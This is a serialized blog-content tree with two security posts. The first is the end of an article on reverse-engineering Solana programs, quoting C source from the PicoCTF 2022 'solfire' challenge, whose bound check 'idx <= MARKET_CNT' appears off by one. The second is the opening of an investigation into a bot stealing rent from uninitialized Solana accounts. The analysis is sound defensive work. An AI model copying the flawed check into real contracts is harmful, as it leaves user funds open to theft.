runtime.",{"type":26,"tag":6986,"props":161195,"children":161196},{"style":6988},[161197],{"type":26,"tag":6468,"props":161198,"children":161200},{"src":161199,"alt":160461,"style":161085},"/posts/reverse-engineering/struct.png",[],{"type":26,"tag":39,"props":161202,"children":161203},{},[161204,161206,161212],{"type":32,"value":161205},"Compare this code with the corresponding source code (from the ",{"type":26,"tag":83,"props":161207,"children":161209},{"className":161208},[],[161210],{"type":32,"value":161211},"solfire",{"type":32,"value":161213}," challenge from PicoCTF 2022):",{"type":26,"tag":207,"props":161215,"children":161217},{"className":9574,"code":161216,"language":2255,"meta":8,"style":8},"sol_assert(payee->is_signer);\nsol_assert(params->data_len - 4 >= sizeof(*args));\n\nargs = (withdraw_args*) (params->data + 4);\nsol_assert(args->idx \u003C= MARKET_CNT);\nsol_assert(args->amt != 0);\n\nuint8_t seed[] = { 'v', 'a', 'u', 'l', 't', 'x' };\nseed[5] = args->bump;\n\nconst SolSignerSeed seeds[] = {{seed, SOL_ARRAY_SIZE(seed)}};\nconst SolSignerSeeds signers_seeds[] = {{seeds, SOL_ARRAY_SIZE(seeds)}};\n\nSolAccountMeta arguments[] = {\n  {vault->key, true, true},\n  {payee->key, true, false},\n};\nuint8_t data[4 + sizeof(transfer_amount_sys)];\nsol_memset(data, 0, sizeof(data));\n\n*(uint16_t *)data = TRANSFER;\ntransfer_amount_sys* data_args = (transfer_amount_sys*) (data + 4);\ndata_args->lamports = args->amt;\n\nconst SolInstruction instruction = {system_program->key, arguments,\n                                    SOL_ARRAY_SIZE(arguments), data,\n                                    SOL_ARRAY_SIZE(data)};\nsol_invoke_signed(&instruction, params->ka, params->ka_num,\n                          signers_seeds, SOL_ARRAY_SIZE(signers_seeds));\n\nLendingData* ld_obj = (LendingData*) ld_acct->data;\nMarket* market = &ld_obj->markets[args->idx];\nmarket->liab += args->amt;\nsol_assert(market->liab \u003C= market->collat);\n",[161218],{"type":26,"tag":83,"props":161219,"children":161220},{"__ignoreMap":8},[161221,161247,161297,161304,161351,161381,161413,161420,161498,161535,161542,161577,161611,161618,161638,161678,161718,161725,161757,161787,161794,161827,161874,161908,161915,161953,161966,161978,162029,162046,162053,162097,162156,162189],{"type":26,"tag":217,"props":161222,"children":161223},{"class":7028,"line":7029},[161224,161229,161234,161238,161243],{"type":26,"tag":217,"props":161225,"children":161226},{"style":7064},[161227],{"type":32,"value":161228},"sol_assert",{"type":26,"tag":217,"props":161230,"children":161231},{"style":7048},[161232],{"type":32,"value":161233},"(payee",{"type":26,"tag":217,"props":161235,"children":161236},{"style":7149},[161237],{"type":32,"value":10115},{"type":26,"tag":217,"props":161239,"children":161240},{"style":7054},[161241],{"type":32,"value":161242},"is_signer",{"type":26,"tag":217,"props":161244,"children":161245},{"style":7048},[161246],{"type":32,"value":7669},{"type":26,"tag":217,"props":161248,"children":161249},{"class":7028,"line":6770},[161250,161254,161259,161263,161268,161272,161276,161280,161284,161288,161292],{"type":26,"tag":217,"props":161251,"children":161252},{"style":7064},[161253],{"type":32,"value":161228},{"type":26,"tag":217,"props":161255,"children":161256},{"style":7048},[161257],{"type":32,"value":161258},"(params",{"type":26,"tag":217,"props":161260,"children":161261},{"style":7149},[161262],{"type":32,"value":10115},{"type":26,"tag":217,"props":161264,"children":161265},{"style":7048},[161266],{"type":32,"value":161267},"data_len ",{"type":26,"tag":217,"props":161269,"children":161270},{"style":7149},[161271],{"type":32,"value":18420},{"type":26,"tag":217,"props":161273,"children":161274},{"style":7130},[161275],{"type":32,"value":10271},{"type":26,"tag":217,"props":161277,"children":161278},{"style":7149},[161279],{"type":32,"value":10125},{"type":26,"tag":217,"props":161281,"children":161282},{"style":7154},[161283],{"type":32,"value":41730},{"type":26,"tag":217,"props":161285,"children":161286},{"style":7048},[161287],{"type":32,"value":1851},{"type":26,"tag":217,"props":161289,"children":161290},{"style":7149},[161291],{"type":32,"value":10006},{"type":26,"tag":217,"props":161293,"children":161294},{"style":7048},[161295],{"type":32,"value":161296},"args));\n",{"type":26,"tag":217,"props":161298,"children":161299},{"class":7028,"line":6779},[161300],{"type":26,"tag":217,"props":161301,"children":161302},{"emptyLinePlaceholder":17},[161303],{"type":32,"value":7817},{"type":26,"tag":217,"props":161305,"children":161306},{"class":7028,"line":7140},[161307,161312,161316,161321,161325,161330,161334,161339,161343,161347],{"type":26,"tag":217,"props":161308,"children":161309},{"style":7048},[161310],{"type":32,"value":161311},"args ",{"type":26,"tag":217,"props":161313,"children":161314},{"style":7149},[161315],{"type":32,"value":267},{"type":26,"tag":217,"props":161317,"children":161318},{"style":7048},[161319],{"type":32,"value":161320}," (withdraw_args",{"type":26,"tag":217,"props":161322,"children":161323},{"style":7149},[161324],{"type":32,"value":10006},{"type":26,"tag":217,"props":161326,"children":161327},{"style":7048},[161328],{"type":32,"value":161329},") (params",{"type":26,"tag":217,"props":161331,"children":161332},{"style":7149},[161333],{"type":32,"value":10115},{"type":26,"tag":217,"props":161335,"children":161336},{"style":7048},[161337],{"type":32,"value":161338},"data ",{"type":26,"tag":217,"props":161340,"children":161341},{"style":7149},[161342],{"type":32,"value":3540},{"type":26,"tag":217,"props":161344,"children":161345},{"style":7130},[161346],{"type":32,"value":10271},{"type":26,"tag":217,"props":161348,"children":161349},{"style":7048},[161350],{"type":32,"value":7669},{"type":26,"tag":217,"props":161352,"children":161353},{"class":7028,"line":7165},[161354,161358,161363,161367,161372,161376],{"type":26,"tag":217,"props":161355,"children":161356},{"style":7064},[161357],{"type":32,"value":161228},{"type":26,"tag":217,"props":161359,"children":161360},{"style":7048},[161361],{"type":32,"value":161362},"(args",{"type":26,"tag":217,"props":161364,"children":161365},{"style":7149},[161366],{"type":32,"value":10115},{"type":26,"tag":217,"props":161368,"children":161369},{"style":7048},[161370],{"type":32,"value":161371},"idx ",{"type":26,"tag":217,"props":161373,"children":161374},{"style":7149},[161375],{"type":32,"value":137987},{"type":26,"tag":217,"props":161377,"children":161378},{"style":7048},[161379],{"type":32,"value":161380}," MARKET_CNT);\n",{"type":26,"tag":217,"props":161382,"children":161383},{"class":7028,"line":7178},[161384,161388,161392,161396,161401,161405,161409],{"type":26,"tag":217,"props":161385,"children":161386},{"style":7064},[161387],{"type":32,"value":161228},{"type":26,"tag":217,"props":161389,"children":161390},{"style":7048},[161391],{"type":32,"value":161362},{"type":26,"tag":217,"props":161393,"children":161394},{"style":7149},[161395],{"type":32,"value":10115},{"type":26,"tag":217,"props":161397,"children":161398},{"style":7048},[161399],{"type":32,"value":161400},"amt ",{"type":26,"tag":217,"props":161402,"children":161403},{"style":7149},[161404],{"type":32,"value":9720},{"type":26,"tag":217,"props":161406,"children":161407},{"style":7130},[161408],{"type":32,"value":9922},{"type":26,"tag":217,"props":161410,"children":161411},{"style":7048},[161412],{"type":32,"value":7669},{"type":26,"tag":217,"props":161414,"children":161415},{"class":7028,"line":7389},[161416],{"type":26,"tag":217,"props":161417,"children":161418},{"emptyLinePlaceholder":17},[161419],{"type":32,"value":7817},{"type":26,"tag":217,"props":161421,"children":161422},{"class":7028,"line":7406},[161423,161428,161433,161437,161441,161445,161450,161454,161459,161463,161468,161472,161477,161481,161486,161490,161494],{"type":26,"tag":217,"props":161424,"children":161425},{"style":7154},[161426],{"type":32,"value":161427},"uint8_t",{"type":26,"tag":217,"props":161429,"children":161430},{"style":7048},[161431],{"type":32,"value":161432}," seed",{"type":26,"tag":217,"props":161434,"children":161435},{"style":7154},[161436],{"type":32,"value":35396},{"type":26,"tag":217,"props":161438,"children":161439},{"style":7149},[161440],{"type":32,"value":8993},{"type":26,"tag":217,"props":161442,"children":161443},{"style":7048},[161444],{"type":32,"value":65337},{"type":26,"tag":217,"props":161446,"children":161447},{"style":7338},[161448],{"type":32,"value":161449},"'v'",{"type":26,"tag":217,"props":161451,"children":161452},{"style":7048},[161453],{"type":32,"value":7599},{"type":26,"tag":217,"props":161455,"children":161456},{"style":7338},[161457],{"type":32,"value":161458},"'a'",{"type":26,"tag":217,"props":161460,"children":161461},{"style":7048},[161462],{"type":32,"value":7599},{"type":26,"tag":217,"props":161464,"children":161465},{"style":7338},[161466],{"type":32,"value":161467},"'u'",{"type":26,"tag":217,"props":161469,"children":161470},{"style":7048},[161471],{"type":32,"value":7599},{"type":26,"tag":217,"props":161473,"children":161474},{"style":7338},[161475],{"type":32,"value":161476},"'l'",{"type":26,"tag":217,"props":161478,"children":161479},{"style":7048},[161480],{"type":32,"value":7599},{"type":26,"tag":217,"props":161482,"children":161483},{"style":7338},[161484],{"type":32,"value":161485},"'t'",{"type":26,"tag":217,"props":161487,"children":161488},{"style":7048},[161489],{"type":32,"value":7599},{"type":26,"tag":217,"props":161491,"children":161492},{"style":7338},[161493],{"type":32,"value":138084},{"type":26,"tag":217,"props":161495,"children":161496},{"style":7048},[161497],{"type":32,"value":96070},{"type":26,"tag":217,"props":161499,"children":161500},{"class":7028,"line":7439},[161501,161506,161510,161514,161518,161522,161526,161530],{"type":26,"tag":217,"props":161502,"children":161503},{"style":7054},[161504],{"type":32,"value":161505},"seed",{"type":26,"tag":217,"props":161507,"children":161508},{"style":7048},[161509],{"type":32,"value":7127},{"type":26,"tag":217,"props":161511,"children":161512},{"style":7130},[161513],{"type":32,"value":25499},{"type":26,"tag":217,"props":161515,"children":161516},{"style":7048},[161517],{"type":32,"value":10276},{"type":26,"tag":217,"props":161519,"children":161520},{"style":7149},[161521],{"type":32,"value":267},{"type":26,"tag":217,"props":161523,"children":161524},{"style":7048},[161525],{"type":32,"value":129073},{"type":26,"tag":217,"props":161527,"children":161528},{"style":7149},[161529],{"type":32,"value":10115},{"type":26,"tag":217,"props":161531,"children":161532},{"style":7048},[161533],{"type":32,"value":161534},"bump;\n",{"type":26,"tag":217,"props":161536,"children":161537},{"class":7028,"line":7487},[161538],{"type":26,"tag":217,"props":161539,"children":161540},{"emptyLinePlaceholder":17},[161541],{"type":32,"value":7817},{"type":26,"tag":217,"props":161543,"children":161544},{"class":7028,"line":7524},[161545,161549,161554,161558,161562,161567,161572],{"type":26,"tag":217,"props":161546,"children":161547},{"style":7154},[161548],{"type":32,"value":74748},{"type":26,"tag":217,"props":161550,"children":161551},{"style":7048},[161552],{"type":32,"value":161553}," SolSignerSeed seeds",{"type":26,"tag":217,"props":161555,"children":161556},{"style":7154},[161557],{"type":32,"value":35396},{"type":26,"tag":217,"props":161559,"children":161560},{"style":7149},[161561],{"type":32,"value":8993},{"type":26,"tag":217,"props":161563,"children":161564},{"style":7048},[161565],{"type":32,"value":161566}," {{seed, ",{"type":26,"tag":217,"props":161568,"children":161569},{"style":7064},[161570],{"type":32,"value":161571},"SOL_ARRAY_SIZE",{"type":26,"tag":217,"props":161573,"children":161574},{"style":7048},[161575],{"type":32,"value":161576},"(seed)}};\n",{"type":26,"tag":217,"props":161578,"children":161579},{"class":7028,"line":7553},[161580,161584,161589,161593,161597,161602,161606],{"type":26,"tag":217,"props":161581,"children":161582},{"style":7154},[161583],{"type":32,"value":74748},{"type":26,"tag":217,"props":161585,"children":161586},{"style":7048},[161587],{"type":32,"value":161588}," SolSignerSeeds signers_seeds",{"type":26,"tag":217,"props":161590,"children":161591},{"style":7154},[161592],{"type":32,"value":35396},{"type":26,"tag":217,"props":161594,"children":161595},{"style":7149},[161596],{"type":32,"value":8993},{"type":26,"tag":217,"props":161598,"children":161599},{"style":7048},[161600],{"type":32,"value":161601}," {{seeds, ",{"type":26,"tag":217,"props":161603,"children":161604},{"style":7064},[161605],{"type":32,"value":161571},{"type":26,"tag":217,"props":161607,"children":161608},{"style":7048},[161609],{"type":32,"value":161610},"(seeds)}};\n",{"type":26,"tag":217,"props":161612,"children":161613},{"class":7028,"line":7570},[161614],{"type":26,"tag":217,"props":161615,"children":161616},{"emptyLinePlaceholder":17},[161617],{"type":32,"value":7817},{"type":26,"tag":217,"props":161619,"children":161620},{"class":7028,"line":7621},[161621,161626,161630,161634],{"type":26,"tag":217,"props":161622,"children":161623},{"style":7048},[161624],{"type":32,"value":161625},"SolAccountMeta arguments",{"type":26,"tag":217,"props":161627,"children":161628},{"style":7154},[161629],{"type":32,"value":35396},{"type":26,"tag":217,"props":161631,"children":161632},{"style":7149},[161633],{"type":32,"value":8993},{"type":26,"tag":217,"props":161635,"children":161636},{"style":7048},[161637],{"type":32,"value":8064},{"type":26,"tag":217,"props":161639,"children":161640},{"class":7028,"line":7672},[161641,161645,161650,161654,161658,161662,161666,161670,161674],{"type":26,"tag":217,"props":161642,"children":161643},{"style":7048},[161644],{"type":32,"value":124674},{"type":26,"tag":217,"props":161646,"children":161647},{"style":7054},[161648],{"type":32,"value":161649},"vault",{"type":26,"tag":217,"props":161651,"children":161652},{"style":7048},[161653],{"type":32,"value":10115},{"type":26,"tag":217,"props":161655,"children":161656},{"style":7054},[161657],{"type":32,"value":78360},{"type":26,"tag":217,"props":161659,"children":161660},{"style":7048},[161661],{"type":32,"value":7599},{"type":26,"tag":217,"props":161663,"children":161664},{"style":7154},[161665],{"type":32,"value":231},{"type":26,"tag":217,"props":161667,"children":161668},{"style":7048},[161669],{"type":32,"value":7599},{"type":26,"tag":217,"props":161671,"children":161672},{"style":7154},[161673],{"type":32,"value":231},{"type":26,"tag":217,"props":161675,"children":161676},{"style":7048},[161677],{"type":32,"value":93295},{"type":26,"tag":217,"props":161679,"children":161680},{"class":7028,"line":7681},[161681,161685,161690,161694,161698,161702,161706,161710,161714],{"type":26,"tag":217,"props":161682,"children":161683},{"style":7048},[161684],{"type":32,"value":124674},{"type":26,"tag":217,"props":161686,"children":161687},{"style":7054},[161688],{"type":32,"value":161689},"payee",{"type":26,"tag":217,"props":161691,"children":161692},{"style":7048},[161693],{"type":32,"value":10115},{"type":26,"tag":217,"props":161695,"children":161696},{"style":7054},[161697],{"type":32,"value":78360},{"type":26,"tag":217,"props":161699,"children":161700},{"style":7048},[161701],{"type":32,"value":7599},{"type":26,"tag":217,"props":161703,"children":161704},{"style":7154},[161705],{"type":32,"value":231},{"type":26,"tag":217,"props":161707,"children":161708},{"style":7048},[161709],{"type":32,"value":7599},{"type":26,"tag":217,"props":161711,"children":161712},{"style":7154},[161713],{"type":32,"value":60208},{"type":26,"tag":217,"props":161715,"children":161716},{"style":7048},[161717],{"type":32,"value":93295},{"type":26,"tag":217,"props":161719,"children":161720},{"class":7028,"line":7754},[161721],{"type":26,"tag":217,"props":161722,"children":161723},{"style":7048},[161724],{"type":32,"value":12331},{"type":26,"tag":217,"props":161726,"children":161727},{"class":7028,"line":7784},[161728,161732,161736,161740,161744,161748,161752],{"type":26,"tag":217,"props":161729,"children":161730},{"style":7154},[161731],{"type":32,"value":161427},{"type":26,"tag":217,"props":161733,"children":161734},{"style":7054},[161735],{"type":32,"value":35391},{"type":26,"tag":217,"props":161737,"children":161738},{"style":7048},[161739],{"type":32,"value":7127},{"type":26,"tag":217,"props":161741,"children":161742},{"style":7130},[161743],{"type":32,"value":10985},{"type":26,"tag":217,"props":161745,"children":161746},{"style":7149},[161747],{"type":32,"value":9025},{"type":26,"tag":217,"props":161749,"children":161750},{"style":7154},[161751],{"type":32,"value":41730},{"type":26,"tag":217,"props":161753,"children":161754},{"style":7048},[161755],{"type":32,"value":161756},"(transfer_amount_sys)];\n",{"type":26,"tag":217,"props":161758,"children":161759},{"class":7028,"line":7802},[161760,161765,161770,161774,161778,161782],{"type":26,"tag":217,"props":161761,"children":161762},{"style":7064},[161763],{"type":32,"value":161764},"sol_memset",{"type":26,"tag":217,"props":161766,"children":161767},{"style":7048},[161768],{"type":32,"value":161769},"(data, ",{"type":26,"tag":217,"props":161771,"children":161772},{"style":7130},[161773],{"type":32,"value":1883},{"type":26,"tag":217,"props":161775,"children":161776},{"style":7048},[161777],{"type":32,"value":7599},{"type":26,"tag":217,"props":161779,"children":161780},{"style":7154},[161781],{"type":32,"value":34717},{"type":26,"tag":217,"props":161783,"children":161784},{"style":7048},[161785],{"type":32,"value":161786},"(data));\n",{"type":26,"tag":217,"props":161788,"children":161789},{"class":7028,"line":7811},[161790],{"type":26,"tag":217,"props":161791,"children":161792},{"emptyLinePlaceholder":17},[161793],{"type":32,"value":7817},{"type":26,"tag":217,"props":161795,"children":161796},{"class":7028,"line":7820},[161797,161801,161805,161809,161813,161818,161822],{"type":26,"tag":217,"props":161798,"children":161799},{"style":7149},[161800],{"type":32,"value":10006},{"type":26,"tag":217,"props":161802,"children":161803},{"style":7048},[161804],{"type":32,"value":1851},{"type":26,"tag":217,"props":161806,"children":161807},{"style":7154},[161808],{"type":32,"value":17071},{"type":26,"tag":217,"props":161810,"children":161811},{"style":7149},[161812],{"type":32,"value":9690},{"type":26,"tag":217,"props":161814,"children":161815},{"style":7048},[161816],{"type":32,"value":161817},")data ",{"type":26,"tag":217,"props":161819,"children":161820},{"style":7149},[161821],{"type":32,"value":267},{"type":26,"tag":217,"props":161823,"children":161824},{"style":7048},[161825],{"type":32,"value":161826}," TRANSFER;\n",{"type":26,"tag":217,"props":161828,"children":161829},{"class":7028,"line":7844},[161830,161835,161839,161844,161848,161853,161857,161862,161866,161870],{"type":26,"tag":217,"props":161831,"children":161832},{"style":7048},[161833],{"type":32,"value":161834},"transfer_amount_sys",{"type":26,"tag":217,"props":161836,"children":161837},{"style":7149},[161838],{"type":32,"value":10006},{"type":26,"tag":217,"props":161840,"children":161841},{"style":7048},[161842],{"type":32,"value":161843}," data_args ",{"type":26,"tag":217,"props":161845,"children":161846},{"style":7149},[161847],{"type":32,"value":267},{"type":26,"tag":217,"props":161849,"children":161850},{"style":7048},[161851],{"type":32,"value":161852}," (transfer_amount_sys",{"type":26,"tag":217,"props":161854,"children":161855},{"style":7149},[161856],{"type":32,"value":10006},{"type":26,"tag":217,"props":161858,"children":161859},{"style":7048},[161860],{"type":32,"value":161861},") (data ",{"type":26,"tag":217,"props":161863,"children":161864},{"style":7149},[161865],{"type":32,"value":3540},{"type":26,"tag":217,"props":161867,"children":161868},{"style":7130},[161869],{"type":32,"value":10271},{"type":26,"tag":217,"props":161871,"children":161872},{"style":7048},[161873],{"type":32,"value":7669},{"type":26,"tag":217,"props":161875,"children":161876},{"class":7028,"line":7910},[161877,161882,161886,161891,161895,161899,161903],{"type":26,"tag":217,"props":161878,"children":161879},{"style":7048},[161880],{"type":32,"value":161881},"data_args",{"type":26,"tag":217,"props":161883,"children":161884},{"style":7149},[161885],{"type":32,"value":10115},{"type":26,"tag":217,"props":161887,"children":161888},{"style":7048},[161889],{"type":32,"value":161890},"lamports ",{"type":26,"tag":217,"props":161892,"children":161893},{"style":7149},[161894],{"type":32,"value":267},{"type":26,"tag":217,"props":161896,"children":161897},{"style":7048},[161898],{"type":32,"value":129073},{"type":26,"tag":217,"props":161900,"children":161901},{"style":7149},[161902],{"type":32,"value":10115},{"type":26,"tag":217,"props":161904,"children":161905},{"style":7048},[161906],{"type":32,"value":161907},"amt;\n",{"type":26,"tag":217,"props":161909,"children":161910},{"class":7028,"line":7954},[161911],{"type":26,"tag":217,"props":161912,"children":161913},{"emptyLinePlaceholder":17},[161914],{"type":32,"value":7817},{"type":26,"tag":217,"props":161916,"children":161917},{"class":7028,"line":7985},[161918,161922,161927,161931,161935,161940,161944,161948],{"type":26,"tag":217,"props":161919,"children":161920},{"style":7154},[161921],{"type":32,"value":74748},{"type":26,"tag":217,"props":161923,"children":161924},{"style":7048},[161925],{"type":32,"value":161926}," SolInstruction instruction ",{"type":26,"tag":217,"props":161928,"children":161929},{"style":7149},[161930],{"type":32,"value":267},{"type":26,"tag":217,"props":161932,"children":161933},{"style":7048},[161934],{"type":32,"value":99972},{"type":26,"tag":217,"props":161936,"children":161937},{"style":7054},[161938],{"type":32,"value":161939},"system_program",{"type":26,"tag":217,"props":161941,"children":161942},{"style":7048},[161943],{"type":32,"value":10115},{"type":26,"tag":217,"props":161945,"children":161946},{"style":7054},[161947],{"type":32,"value":78360},{"type":26,"tag":217,"props":161949,"children":161950},{"style":7048},[161951],{"type":32,"value":161952},", arguments,\n",{"type":26,"tag":217,"props":161954,"children":161955},{"class":7028,"line":8027},[161956,161961],{"type":26,"tag":217,"props":161957,"children":161958},{"style":7064},[161959],{"type":32,"value":161960},"                                    SOL_ARRAY_SIZE",{"type":26,"tag":217,"props":161962,"children":161963},{"style":7048},[161964],{"type":32,"value":161965},"(arguments), data,\n",{"type":26,"tag":217,"props":161967,"children":161968},{"class":7028,"line":8035},[161969,161973],{"type":26,"tag":217,"props":161970,"children":161971},{"style":7064},[161972],{"type":32,"value":161960},{"type":26,"tag":217,"props":161974,"children":161975},{"style":7048},[161976],{"type":32,"value":161977},"(data)};\n",{"type":26,"tag":217,"props":161979,"children":161980},{"class":7028,"line":8067},[161981,161986,161990,161994,161998,162003,162007,162012,162016,162020,162025],{"type":26,"tag":217,"props":161982,"children":161983},{"style":7064},[161984],{"type":32,"value":161985},"sol_invoke_signed",{"type":26,"tag":217,"props":161987,"children":161988},{"style":7048},[161989],{"type":32,"value":1851},{"type":26,"tag":217,"props":161991,"children":161992},{"style":7149},[161993],{"type":32,"value":9804},{"type":26,"tag":217,"props":161995,"children":161996},{"style":7054},[161997],{"type":32,"value":98525},{"type":26,"tag":217,"props":161999,"children":162000},{"style":7048},[162001],{"type":32,"value":162002},", params",{"type":26,"tag":217,"props":162004,"children":162005},{"style":7149},[162006],{"type":32,"value":10115},{"type":26,"tag":217,"props":162008,"children":162009},{"style":7054},[162010],{"type":32,"value":162011},"ka",{"type":26,"tag":217,"props":162013,"children":162014},{"style":7048},[162015],{"type":32,"value":162002},{"type":26,"tag":217,"props":162017,"children":162018},{"style":7149},[162019],{"type":32,"value":10115},{"type":26,"tag":217,"props":162021,"children":162022},{"style":7054},[162023],{"type":32,"value":162024},"ka_num",{"type":26,"tag":217,"props":162026,"children":162027},{"style":7048},[162028],{"type":32,"value":10953},{"type":26,"tag":217,"props":162030,"children":162031},{"class":7028,"line":8107},[162032,162037,162041],{"type":26,"tag":217,"props":162033,"children":162034},{"style":7048},[162035],{"type":32,"value":162036},"                          signers_seeds, ",{"type":26,"tag":217,"props":162038,"children":162039},{"style":7064},[162040],{"type":32,"value":161571},{"type":26,"tag":217,"props":162042,"children":162043},{"style":7048},[162044],{"type":32,"value":162045},"(signers_seeds));\n",{"type":26,"tag":217,"props":162047,"children":162048},{"class":7028,"line":8145},[162049],{"type":26,"tag":217,"props":162050,"children":162051},{"emptyLinePlaceholder":17},[162052],{"type":32,"value":7817},{"type":26,"tag":217,"props":162054,"children":162055},{"class":7028,"line":8154},[162056,162061,162065,162070,162074,162079,162083,162088,162092],{"type":26,"tag":217,"props":162057,"children":162058},{"style":7048},[162059],{"type":32,"value":162060},"LendingData",{"type":26,"tag":217,"props":162062,"children":162063},{"style":7149},[162064],{"type":32,"value":10006},{"type":26,"tag":217,"props":162066,"children":162067},{"style":7048},[162068],{"type":32,"value":162069}," ld_obj ",{"type":26,"tag":217,"props":162071,"children":162072},{"style":7149},[162073],{"type":32,"value":267},{"type":26,"tag":217,"props":162075,"children":162076},{"style":7048},[162077],{"type":32,"value":162078}," (LendingData",{"type":26,"tag":217,"props":162080,"children":162081},{"style":7149},[162082],{"type":32,"value":10006},{"type":26,"tag":217,"props":162084,"children":162085},{"style":7048},[162086],{"type":32,"value":162087},") ld_acct",{"type":26,"tag":217,"props":162089,"children":162090},{"style":7149},[162091],{"type":32,"value":10115},{"type":26,"tag":217,"props":162093,"children":162094},{"style":7048},[162095],{"type":32,"value":162096},"data;\n",{"type":26,"tag":217,"props":162098,"children":162099},{"class":7028,"line":8162},[162100,162105,162109,162114,162118,162122,162127,162131,162136,162140,162144,162148,162152],{"type":26,"tag":217,"props":162101,"children":162102},{"style":7048},[162103],{"type":32,"value":162104},"Market",{"type":26,"tag":217,"props":162106,"children":162107},{"style":7149},[162108],{"type":32,"value":10006},{"type":26,"tag":217,"props":162110,"children":162111},{"style":7048},[162112],{"type":32,"value":162113}," market ",{"type":26,"tag":217,"props":162115,"children":162116},{"style":7149},[162117],{"type":32,"value":267},{"type":26,"tag":217,"props":162119,"children":162120},{"style":7149},[162121],{"type":32,"value":10222},{"type":26,"tag":217,"props":162123,"children":162124},{"style":7048},[162125],{"type":32,"value":162126},"ld_obj",{"type":26,"tag":217,"props":162128,"children":162129},{"style":7149},[162130],{"type":32,"value":10115},{"type":26,"tag":217,"props":162132,"children":162133},{"style":7054},[162134],{"type":32,"value":162135},"markets",{"type":26,"tag":217,"props":162137,"children":162138},{"style":7048},[162139],{"type":32,"value":7127},{"type":26,"tag":217,"props":162141,"children":162142},{"style":7054},[162143],{"type":32,"value":25454},{"type":26,"tag":217,"props":162145,"children":162146},{"style":7048},[162147],{"type":32,"value":10115},{"type":26,"tag":217,"props":162149,"children":162150},{"style":7054},[162151],{"type":32,"value":10305},{"type":26,"tag":217,"props":162153,"children":162154},{"style":7048},[162155],{"type":32,"value":10652},{"type":26,"tag":217,"props":162157,"children":162158},{"class":7028,"line":8197},[162159,162164,162168,162173,162177,162181,162185],{"type":26,"tag":217,"props":162160,"children":162161},{"style":7048},[162162],{"type":32,"value":162163},"market",{"type":26,"tag":217,"props":162165,"children":162166},{"style":7149},[162167],{"type":32,"value":10115},{"type":26,"tag":217,"props":162169,"children":162170},{"style":7048},[162171],{"type":32,"value":162172},"liab ",{"type":26,"tag":217,"props":162174,"children":162175},{"style":7149},[162176],{"type":32,"value":60107},{"type":26,"tag":217,"props":162178,"children":162179},{"style":7048},[162180],{"type":32,"value":129073},{"type":26,"tag":217,"props":162182,"children":162183},{"style":7149},[162184],{"type":32,"value":10115},{"type":26,"tag":217,"props":162186,"children":162187},{"style":7048},[162188],{"type":32,"value":161907},{"type":26,"tag":217,"props":162190,"children":162191},{"class":7028,"line":8220},[162192,162196,162201,162205,162209,162213,162218,162222,162227],{"type":26,"tag":217,"props":162193,"children":162194},{"style":7064},[162195],{"type":32,"value":161228},{"type":26,"tag":217,"props":162197,"children":162198},{"style":7048},[162199],{"type":32,"value":162200},"(market",{"type":26,"tag":217,"props":162202,"children":162203},{"style":7149},[162204],{"type":32,"value":10115},{"type":26,"tag":217,"props":162206,"children":162207},{"style":7048},[162208],{"type":32,"value":162172},{"type":26,"tag":217,"props":162210,"children":162211},{"style":7149},[162212],{"type":32,"value":137987},{"type":26,"tag":217,"props":162214,"children":162215},{"style":7048},[162216],{"type":32,"value":162217}," market",{"type":26,"tag":217,"props":162219,"children":162220},{"style":7149},[162221],{"type":32,"value":10115},{"type":26,"tag":217,"props":162223,"children":162224},{"style":7054},[162225],{"type":32,"value":162226},"collat",{"type":26,"tag":217,"props":162228,"children":162229},{"style":7048},[162230],{"type":32,"value":7669},{"type":26,"tag":454,"props":162232,"children":162233},{"id":6652},[162234],{"type":32,"value":6655},{"type":26,"tag":39,"props":162236,"children":162237},{},[162238],{"type":32,"value":162239},"We're planning to follow up this introductory blog post with a series of case studies of blackbox Solana program analysis using our Binary Ninja plugin. Stay tuned!",{"type":26,"tag":9282,"props":162241,"children":162242},{},[162243],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":162245},[162246,162247,162248,162249,162250,162251,162252,162253],{"id":160334,"depth":6770,"text":160337},{"id":160345,"depth":6770,"text":160348},{"id":160383,"depth":6770,"text":160386},{"id":160441,"depth":6770,"text":160444},{"id":160723,"depth":6770,"text":160726},{"id":160877,"depth":6770,"text":160880},{"id":160923,"depth":6770,"text":160926},{"id":160989,"depth":6770,"text":160992,"children":162254},[162255,162256,162257,162258,162259],{"id":161062,"depth":6779,"text":161065},{"id":161089,"depth":6779,"text":161092},{"id":161143,"depth":6779,"text":161146},{"id":161154,"depth":6779,"text":161157},{"id":161185,"depth":6779,"text":161188},"content:blog:2022-08-27-reverse-engineering-solana.md","blog/2022-08-27-reverse-engineering-solana.md","blog/2022-08-27-reverse-engineering-solana",{"_path":162264,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":162265,"description":162266,"image":162267,"date":162269,"isFeatured":17,"onBlogPage":17,"tags":162270,"body":162271,"_type":6799,"_id":162587,"_source":6801,"_file":162588,"_stem":162589,"_extension":6804},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":162268,"width":97001,"height":97002},"/posts/rent-thief/title.jpg","2022-08-19",[90642,137334],{"type":23,"children":162272,"toc":162580},[162273,162278,162284,162289,162294,162299,162303,162316,162362,162391,162400,162405,162410,162415,162421,162434,162449,162454,162459,162474,162478,162483,162498,162505,162510,162520,162527,162531,162536,162540,162545,162550,162555,162561,162566],{"type":26,"tag":39,"props":162274,"children":162275},{},[162276],{"type":32,"value":162277},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":26,"tag":27,"props":162279,"children":162281},{"id":162280},"background",[162282],{"type":32,"value":162283},"Background",{"type":26,"tag":39,"props":162285,"children":162286},{},[162287],{"type":32,"value":162288},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":26,"tag":39,"props":162290,"children":162291},{},[162292],{"type":32,"value":162293},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":26,"tag":39,"props":162295,"children":162296},{},[162297],{"type":32,"value":162298},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it 